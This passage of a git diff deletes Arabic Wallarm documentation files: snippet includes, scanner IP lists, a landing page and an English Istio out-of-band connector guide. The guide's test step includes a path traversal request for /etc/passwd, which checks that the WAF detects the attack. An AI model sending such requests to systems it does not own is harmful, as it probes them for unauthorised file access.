"latest-ar/api/overview.md" \ No newline at end of file diff --git a/docs/ar/api/request-examples.md b/docs/ar/api/request-examples.md deleted file mode 100644 index 7f26d759b1..0000000000 --- a/docs/ar/api/request-examples.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/api/request-examples.md" \ No newline at end of file diff --git a/docs/ar/attacks-vulns-list.md b/docs/ar/attacks-vulns-list.md deleted file mode 100644 index d700953b09..0000000000 --- a/docs/ar/attacks-vulns-list.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/attacks-vulns-list.md" \ No newline at end of file diff --git a/docs/ar/demo-videos/api-abuse-prevention.md b/docs/ar/demo-videos/api-abuse-prevention.md deleted file mode 100644 index c04ba5551d..0000000000 --- a/docs/ar/demo-videos/api-abuse-prevention.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/demo-videos/api-abuse-prevention.md" \ No newline at end of file diff --git a/docs/ar/demo-videos/api-discovery.md b/docs/ar/demo-videos/api-discovery.md deleted file mode 100644 index 31ef7b36d3..0000000000 --- a/docs/ar/demo-videos/api-discovery.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/demo-videos/api-discovery.md" \ No newline at end of file diff --git a/docs/ar/demo-videos/api-leaks.md b/docs/ar/demo-videos/api-leaks.md deleted file mode 100644 index b8345f1a27..0000000000 --- a/docs/ar/demo-videos/api-leaks.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/demo-videos/api-leaks.md" \ No newline at end of file diff --git a/docs/ar/demo-videos/events-inspection.md b/docs/ar/demo-videos/events-inspection.md deleted file mode 100644 index f8790a71c2..0000000000 --- a/docs/ar/demo-videos/events-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/demo-videos/events-inspection.md" \ No newline at end of file diff --git a/docs/ar/demo-videos/overview.md b/docs/ar/demo-videos/overview.md deleted file mode 100644 index 13d3665fe6..0000000000 --- a/docs/ar/demo-videos/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/demo-videos/overview.md" \ No newline at end of file diff --git a/docs/ar/demo-videos/shadow-api.md b/docs/ar/demo-videos/shadow-api.md deleted file mode 100644 index cf688c9869..0000000000 --- a/docs/ar/demo-videos/shadow-api.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/demo-videos/shadow-api.md" \ No newline at end of file diff --git a/docs/ar/downloads/scanner-ip-addresses-eu.txt b/docs/ar/downloads/scanner-ip-addresses-eu.txt deleted file mode 100644 index 0045c334e0..0000000000 --- a/docs/ar/downloads/scanner-ip-addresses-eu.txt +++ /dev/null @@ -1,16 +0,0 @@ -213.52.130.153 -213.52.130.179 -213.52.130.185 -213.52.130.198 -176.58.99.214 -212.71.244.128 -212.71.244.92 -178.79.168.193 -178.79.168.239 -178.79.168.200 -178.79.168.201 -178.79.168.241 -178.79.168.186 -85.159.208.25 -139.162.220.5 -212.71.252.245 \ No newline at end of file diff --git a/docs/ar/downloads/scanner-ip-addresses-us.txt b/docs/ar/downloads/scanner-ip-addresses-us.txt deleted file mode 100644 index 735300b85d..0000000000 --- a/docs/ar/downloads/scanner-ip-addresses-us.txt +++ /dev/null @@ -1,34 +0,0 @@ -192.155.80.80 -192.155.80.95 -23.239.21.160 -50.116.14.31 -139.162.137.47 -192.155.81.166 -192.155.81.173 -192.155.81.185 -192.155.81.193 -192.155.81.195 -192.155.81.201 -192.155.81.204 -192.155.81.205 -192.155.81.210 -192.155.81.220 -192.155.81.32 -192.155.81.39 -192.155.81.62 -192.155.81.97 -23.239.21.250 -45.33.63.36 -45.79.100.119 -45.79.100.174 -45.79.100.81 -45.79.73.64 -45.79.74.89 -50.116.12.25 -50.116.2.193 -50.116.2.228 -74.207.253.161 -74.207.253.65 -173.230.150.9 -173.230.150.13 -173.230.150.14 \ No newline at end of file diff --git a/docs/ar/faq/attacks-not-uploaded-to-cloud.md b/docs/ar/faq/attacks-not-uploaded-to-cloud.md deleted file mode 100644 index bc473b276b..0000000000 --- a/docs/ar/faq/attacks-not-uploaded-to-cloud.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/faq/attacks-not-uploaded-to-cloud.md" \ No newline at end of file diff --git a/docs/ar/faq/common-errors-after-installation.md b/docs/ar/faq/common-errors-after-installation.md deleted file mode 100644 index 559df2b65c..0000000000 --- a/docs/ar/faq/common-errors-after-installation.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/faq/common-errors-after-installation.md" \ No newline at end of file diff --git a/docs/ar/faq/cpu.md b/docs/ar/faq/cpu.md deleted file mode 100644 index 15ea8e6a6d..0000000000 --- a/docs/ar/faq/cpu.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/faq/cpu.md" \ No newline at end of file diff --git a/docs/ar/faq/ingress-installation.md b/docs/ar/faq/ingress-installation.md deleted file mode 100644 index f5c19532f5..0000000000 --- a/docs/ar/faq/ingress-installation.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/faq/ingress-installation.md" \ No newline at end of file diff --git a/docs/ar/faq/node-issues-on-owasp-dashboards.md b/docs/ar/faq/node-issues-on-owasp-dashboards.md deleted file mode 100644 index 68fa05aaab..0000000000 --- a/docs/ar/faq/node-issues-on-owasp-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/faq/node-issues-on-owasp-dashboards.md" \ No newline at end of file diff --git a/docs/ar/faq/tarantool.md b/docs/ar/faq/tarantool.md deleted file mode 100644 index c18ae78743..0000000000 --- a/docs/ar/faq/tarantool.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/faq/tarantool.md" \ No newline at end of file diff --git a/docs/ar/faq/wallarm-cloud-down.md b/docs/ar/faq/wallarm-cloud-down.md deleted file mode 100644 index 6a92c94f92..0000000000 --- a/docs/ar/faq/wallarm-cloud-down.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/faq/wallarm-cloud-down.md" \ No newline at end of file diff --git a/docs/ar/faq/wallarm-status-page.md b/docs/ar/faq/wallarm-status-page.md deleted file mode 100644 index d5ccaa0e19..0000000000 --- a/docs/ar/faq/wallarm-status-page.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/faq/wallarm-status-page.md" \ No newline at end of file diff --git a/docs/ar/faq/wrong-blocking.md b/docs/ar/faq/wrong-blocking.md deleted file mode 100644 index 16addb590c..0000000000 --- a/docs/ar/faq/wrong-blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/faq/wrong-blocking.md" \ No newline at end of file diff --git a/docs/ar/glossary-en.md b/docs/ar/glossary-en.md deleted file mode 100644 index 4438e20ab3..0000000000 --- a/docs/ar/glossary-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/glossary-en.md" \ No newline at end of file diff --git a/docs/ar/index.md b/docs/ar/index.md deleted file mode 100644 index 3e36e0d245..0000000000 --- a/docs/ar/index.md +++ /dev/null @@ -1,859 +0,0 @@ ---- -hide: - - navigation - - toc - - feedback ---- - -# توثيق Wallarm - -كل ما تحتاجه لاكتشاف واجهات API وMCPs ووكلاء الذكاء الاصطناعي وحمايتها من التهديدات واختبار الثغرات. - -
- -
- -
- - -
-
-

المقدمة →

-

ابدأ مع منصة Wallarm وتعلّم الأساسيات.

-

-
-
- - -
- -
-

اكتشاف API →

-

فهرسة جميع واجهات API وMCPs والوكلاء ومخاطرها وتدفقات البيانات الحساسة.

-

-
- -
-

حماية API →

-

حظر الهجمات والروبوتات وإساءة الاستخدام في الوقت الفعلي مع كشف التهديدات الذكي.

-

-
- -
-

اختبار أمان API →

-

اكتشف الثغرات قبل المهاجمين بفضل الاختبار الأمني الآلي.

-

-
- -
-

أمان الذكاء الاصطناعي →

-

اكتشف ووكلاء الذكاء الاصطناعي وMCPs واحمِها.

-

-
- -
- - -
- -
-

النشر →

-

انشر Wallarm باستخدام خيارات مُدارة أو ذاتية الاستضافة أو قائمة على الموصلات.

-

-
- -
-

التكاملات →

-

ربط Wallarm بأدوات الأمان وSIEMs وأنظمة التنبيه الحالية.

-

-
- -
-

إدارة المنصة →

-

مراقبة التهديدات وتكوين التنبيهات وإدارة الوصول والبنية التحتية.

-

-
- -
- - -
-
-
-
جديد على WALLARM؟
-

شاهد كيف يعمل كل شيء خلال 5 دقائق

- مشاهدة النظرة العامة -
-
- -
- -
-
- -
-
-
- - - - diff --git a/docs/ar/installation/api-gateways/apigee.md b/docs/ar/installation/api-gateways/apigee.md deleted file mode 100644 index cbaf2f1609..0000000000 --- a/docs/ar/installation/api-gateways/apigee.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/api-gateways/apigee.md" \ No newline at end of file diff --git a/docs/ar/installation/api-gateways/layer7-api-gateway.md b/docs/ar/installation/api-gateways/layer7-api-gateway.md deleted file mode 100644 index a25189cc9e..0000000000 --- a/docs/ar/installation/api-gateways/layer7-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/layer7-api-gateway.md" \ No newline at end of file diff --git a/docs/ar/installation/api-gateways/mulesoft.md b/docs/ar/installation/api-gateways/mulesoft.md deleted file mode 100644 index 046cf50637..0000000000 --- a/docs/ar/installation/api-gateways/mulesoft.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/api-gateways/mulesoft.md" \ No newline at end of file diff --git a/docs/ar/installation/cdn-node.md b/docs/ar/installation/cdn-node.md deleted file mode 100644 index 773c8d3859..0000000000 --- a/docs/ar/installation/cdn-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/cdn-node.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/alibaba-cloud/docker-container.md b/docs/ar/installation/cloud-platforms/alibaba-cloud/docker-container.md deleted file mode 100644 index 83427c7e02..0000000000 --- a/docs/ar/installation/cloud-platforms/alibaba-cloud/docker-container.md +++ /dev/null @@ -1,22 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-alibaba-img]: ../../../images/waf-installation/alibaba-cloud/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode - ---8<-- "latest-ar/installation/cloud-platforms/alibaba-cloud/docker-container.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/aws/ami.md b/docs/ar/installation/cloud-platforms/aws/ami.md deleted file mode 100644 index 71304be8b6..0000000000 --- a/docs/ar/installation/cloud-platforms/aws/ami.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/cloud-platforms/aws/ami.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/aws/docker-container.md b/docs/ar/installation/cloud-platforms/aws/docker-container.md deleted file mode 100644 index 1258f1cf59..0000000000 --- a/docs/ar/installation/cloud-platforms/aws/docker-container.md +++ /dev/null @@ -1,21 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[aws-copy-container-ip-img]: ../../../images/waf-installation/aws/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode - ---8<-- "latest-ar/installation/cloud-platforms/aws/docker-container.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/aws/terraform-module/overview.md b/docs/ar/installation/cloud-platforms/aws/terraform-module/overview.md deleted file mode 100644 index 3fd6502b24..0000000000 --- a/docs/ar/installation/cloud-platforms/aws/terraform-module/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/cloud-platforms/aws/terraform-module/overview.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md b/docs/ar/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md deleted file mode 100644 index 513288d47a..0000000000 --- a/docs/ar/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md +++ /dev/null @@ -1,3 +0,0 @@ -[wallarm-proxy-for-aws-api-gateway-img]: ../../../../images/waf-installation/aws/terraform/wallarm-as-proxy-for-aws-api-gateway.png - ---8<-- "latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md b/docs/ar/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md deleted file mode 100644 index f0139c2747..0000000000 --- a/docs/ar/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md +++ /dev/null @@ -1,3 +0,0 @@ -[wallarm-proxy-terraform-img]: ../../../../images/waf-installation/aws/terraform/wallarm-as-proxy.png - ---8<-- "latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/azure/docker-container.md b/docs/ar/installation/cloud-platforms/azure/docker-container.md deleted file mode 100644 index d70b7ea9df..0000000000 --- a/docs/ar/installation/cloud-platforms/azure/docker-container.md +++ /dev/null @@ -1,22 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-azure-img]: ../../../images/waf-installation/azure/container-copy-domain-name.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode - ---8<-- "latest-ar/installation/cloud-platforms/azure/docker-container.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/cloud-init.md b/docs/ar/installation/cloud-platforms/cloud-init.md deleted file mode 100644 index 6bd401fff1..0000000000 --- a/docs/ar/installation/cloud-platforms/cloud-init.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/cloud-platforms/cloud-init.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/gcp/docker-container.md b/docs/ar/installation/cloud-platforms/gcp/docker-container.md deleted file mode 100644 index 8912c21bc6..0000000000 --- a/docs/ar/installation/cloud-platforms/gcp/docker-container.md +++ /dev/null @@ -1,21 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-gcp-img]: ../../../images/waf-installation/gcp/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode - ---8<-- "latest-ar/installation/cloud-platforms/gcp/docker-container.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/gcp/machine-image.md b/docs/ar/installation/cloud-platforms/gcp/machine-image.md deleted file mode 100644 index d2fd7eece0..0000000000 --- a/docs/ar/installation/cloud-platforms/gcp/machine-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/cloud-platforms/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/ar/installation/cloud-platforms/private-cloud.md b/docs/ar/installation/cloud-platforms/private-cloud.md deleted file mode 100644 index 16deff8c66..0000000000 --- a/docs/ar/installation/cloud-platforms/private-cloud.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/cloud-platforms/private-cloud.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/akamai-edgeworkers.md b/docs/ar/installation/connectors/akamai-edgeworkers.md deleted file mode 100644 index 68fa67d1a4..0000000000 --- a/docs/ar/installation/connectors/akamai-edgeworkers.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/cdn/akamai-edgeworkers.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/apigee.md b/docs/ar/installation/connectors/apigee.md deleted file mode 100644 index 574a17b74a..0000000000 --- a/docs/ar/installation/connectors/apigee.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/api-gateways/apigee.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/aws-api-gateway.md b/docs/ar/installation/connectors/aws-api-gateway.md deleted file mode 100644 index 6eb08e445c..0000000000 --- a/docs/ar/installation/connectors/aws-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/connectors/aws-api-gateway.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/aws-lambda.md b/docs/ar/installation/connectors/aws-lambda.md deleted file mode 100644 index 65c008082a..0000000000 --- a/docs/ar/installation/connectors/aws-lambda.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/cdn/aws-lambda.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/azion-edge.md b/docs/ar/installation/connectors/azion-edge.md deleted file mode 100644 index 4df541fb12..0000000000 --- a/docs/ar/installation/connectors/azion-edge.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/cdn/azion-edge.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/cloudflare.md b/docs/ar/installation/connectors/cloudflare.md deleted file mode 100644 index f159729b09..0000000000 --- a/docs/ar/installation/connectors/cloudflare.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest/installation/connectors/cloudflare.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/code-bundle-inventory.md b/docs/ar/installation/connectors/code-bundle-inventory.md deleted file mode 100644 index 89199ce51d..0000000000 --- a/docs/ar/installation/connectors/code-bundle-inventory.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/code-bundle-inventory.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/fastly.md b/docs/ar/installation/connectors/fastly.md deleted file mode 100644 index 234ca83855..0000000000 --- a/docs/ar/installation/connectors/fastly.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/fastly.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/ibm-api-connect.md b/docs/ar/installation/connectors/ibm-api-connect.md deleted file mode 100644 index cb0b16fec1..0000000000 --- a/docs/ar/installation/connectors/ibm-api-connect.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/ibm-api-connect.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/istio-inline.md b/docs/ar/installation/connectors/istio-inline.md deleted file mode 100644 index 2b960d5467..0000000000 --- a/docs/ar/installation/connectors/istio-inline.md +++ /dev/null @@ -1,10 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-rule-in-wallarm-console -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md - ---8<-- "latest/installation/connectors/istio.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/istio.md b/docs/ar/installation/connectors/istio.md deleted file mode 100644 index 03b9867ebb..0000000000 --- a/docs/ar/installation/connectors/istio.md +++ /dev/null @@ -1,146 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-mode -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md - -# Wallarm Connector for Istio Ingress (Out‑of‑Band) - -Wallarm provides a connector for securing APIs managed by Istio to analyze traffic [out-of-band (OOB)](../oob/overview.md). By deploying Wallarm nodes alongside [Istio's](https://istio.io/) Envoy proxies, the connector mirrors incoming traffic, sending it asynchronously for analysis while allowing traffic to continue flowing uninterrupted. - -The integration relies on a Lua plugin, deployed within the Envoy proxy, to handle traffic mirroring and communication with the Wallarm node. - -![Istio with Wallarm plugin](../../images/waf-installation/gateways/istio/traffic-flow-oob.png) - -## Use cases - -This solution is recommended when real-time traffic analysis is unnecessary, and asynchronous analysis is sufficient. - -This is the optimal choice for securing APIs managed by Istio running with Envoy proxy in Kubernetes. - -## Limitations - -This setup allows fine-tuning Wallarm only via the Wallarm Console UI. Some Wallarm features that require file-based configuration are not supported in this implementation, such as: - -* [Application configuration][applications-docs] -* [Custom blocking page and code setup][custom-blocking-page-docs] - -## Requirements - -To proceed with the deployment, ensure that you meet the following requirements: - -* Istio with Envoy proxy managing API traffic in your Kubernetes cluster -* [Helm v3](https://helm.sh/) package manager -* Access to `https://us1.api.wallarm.com` (US Wallarm Cloud) or to `https://api.wallarm.com` (EU Wallarm Cloud) -* Access to `https://charts.wallarm.com` to add the Wallarm Helm chart -* Access to the Wallarm repositories on Docker Hub `https://hub.docker.com/r/wallarm` -* Access to the IP addresses and their corresponding hostnames (if any) listed below. This is needed for downloading updates to attack detection rules, as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted](../../user-guides/ip-lists/overview.md) countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* **Administrator** access to Wallarm Console for [US Cloud](https://us1.my.wallarm.com/) or [EU Cloud](https://my.wallarm.com/) - -## Deployment - -To secure APIs managed by Istio and Envoy proxy, follow these steps: - -1. Deploy the Wallarm filtering node service in your Kubernetes cluster. -1. Configure the Envoy proxy in Istio to mirror traffic and send it to the Wallarm node for out-of-band analysis. - -### 1. Deploy a Wallarm Native Node - -To deploy the Wallarm node as a separate service in your Kubernetes cluster, follow the [instructions](../native-node/helm-chart.md). - -### 2. Configure Envoy to mirror traffic to the Wallarm node - -1. Contact [support@wallarm.com](mailto:support@wallarm.com) to obtain the Wallarm Lua plugin code for Istio. The filenames provided by the support team are used in the following steps. -1. Apply the Envoy filter and cluster configuration to mirror traffic to the Wallarm node using Lua scripts: - - ``` - kubectl apply -f wallarm-envoy-gw-http-filter.yaml - kubectl apply -f wallarm-envoy-cluster-svc-endpoint.yaml - ``` -1. Create ConfigMaps to mount the Wallarm connector and its Lua dependencies within the Istio Ingress controller namespace: - - ``` - kubectl -n apply -f wallarm-cm-lua-mpack-lib.yaml - kubectl -n apply -f wallarm-cm-lua-rrasync.yaml - ``` -1. To mount the ConfigMaps, update your Istio Ingress Gateway deployment. Depending on how you manage Istio (Helm, IstioOperator, or custom deployment), apply the changes accordingly. - - For example, if Istio was installed using IstioOperator, you can mount the ConfigMaps by updating the `IstioOperator` resource: - - ```yaml - apiVersion: install.istio.io/v1alpha1 - kind: IstioOperator - spec: - components: - ingressGateways: - - name: istio-ingressgateway - enabled: true - k8s: - volumes: - - name: lua-mpack - configMap: - name: lua-msgpack-lib - - name: lua-rrasync - configMap: - name: rr-async-packed - volumeMounts: - - name: lua-mpack - mountPath: /usr/local/share/lua/5.1/msgpack - container: istio-proxy - - name: lua-rrasync - mountPath: /usr/local/share/lua/5.1/rrasync - container: istio-proxy - ``` - - ``` - kubectl apply -f istio-operator.yaml - ``` - -## Testing - -To test the functionality of the deployed connector, follow these steps: - -1. Verify that the Wallarm pods are up and running: - - ``` - kubectl -n wallarm-node get pods - ``` - - `wallarm-node` is the namespace where the Wallarm node service is deployed. - - Each pod status should be **STATUS: Running** or **READY: N/N**. For example: - - ``` - NAME READY STATUS RESTARTS AGE - native-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - native-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. Send the request with the test [Path Traversal][ptrav-attack-docs] attack to the Istio Gateway: - - ``` - curl https:///etc/passwd - ``` -1. Open Wallarm Console → **Attacks** section in the [US Cloud](https://us1.my.wallarm.com/attacks) or [EU Cloud](https://my.wallarm.com/attacks) and make sure the attack is displayed in the list. - - ![Attacks in the interface][attacks-in-ui-image] - - Since the connector operates in the [out-of-band](../oob/overview.md) mode and does not block malicious requests, the Wallarm node will not block the attack but will register it. -1. If needed, monitor the Wallarm logs in a separate console window: - - ``` - kubectl -n gonode logs native-processing-7c487bbdc6-4j6mz --tail 100 -f - ``` - -## Upgrading the Wallarm Lua plugin - -To upgrade the deployed Wallarm Lua plugin to a [newer version](code-bundle-inventory.md#istio): - -1. Contact support@wallarm.com to obtain the updated Wallarm Lua plugin code for your Istio Ingress. -1. Deploy the updated plugin as described in the [Step 2](#2-configure-envoy-to-mirror-traffic-to-the-wallarm-node). - -Plugin upgrades may require a Wallarm node upgrade, especially for major version updates. See the [Wallarm Native Node changelog](../../updating-migrating/native-node/node-artifact-versions.md) for release updates and upgrade instructions. Regular node updates are recommended to avoid deprecation and simplify future upgrades. diff --git a/docs/ar/installation/connectors/kong-api-gateway.md b/docs/ar/installation/connectors/kong-api-gateway.md deleted file mode 100644 index 9ad96684c9..0000000000 --- a/docs/ar/installation/connectors/kong-api-gateway.md +++ /dev/null @@ -1,9 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: 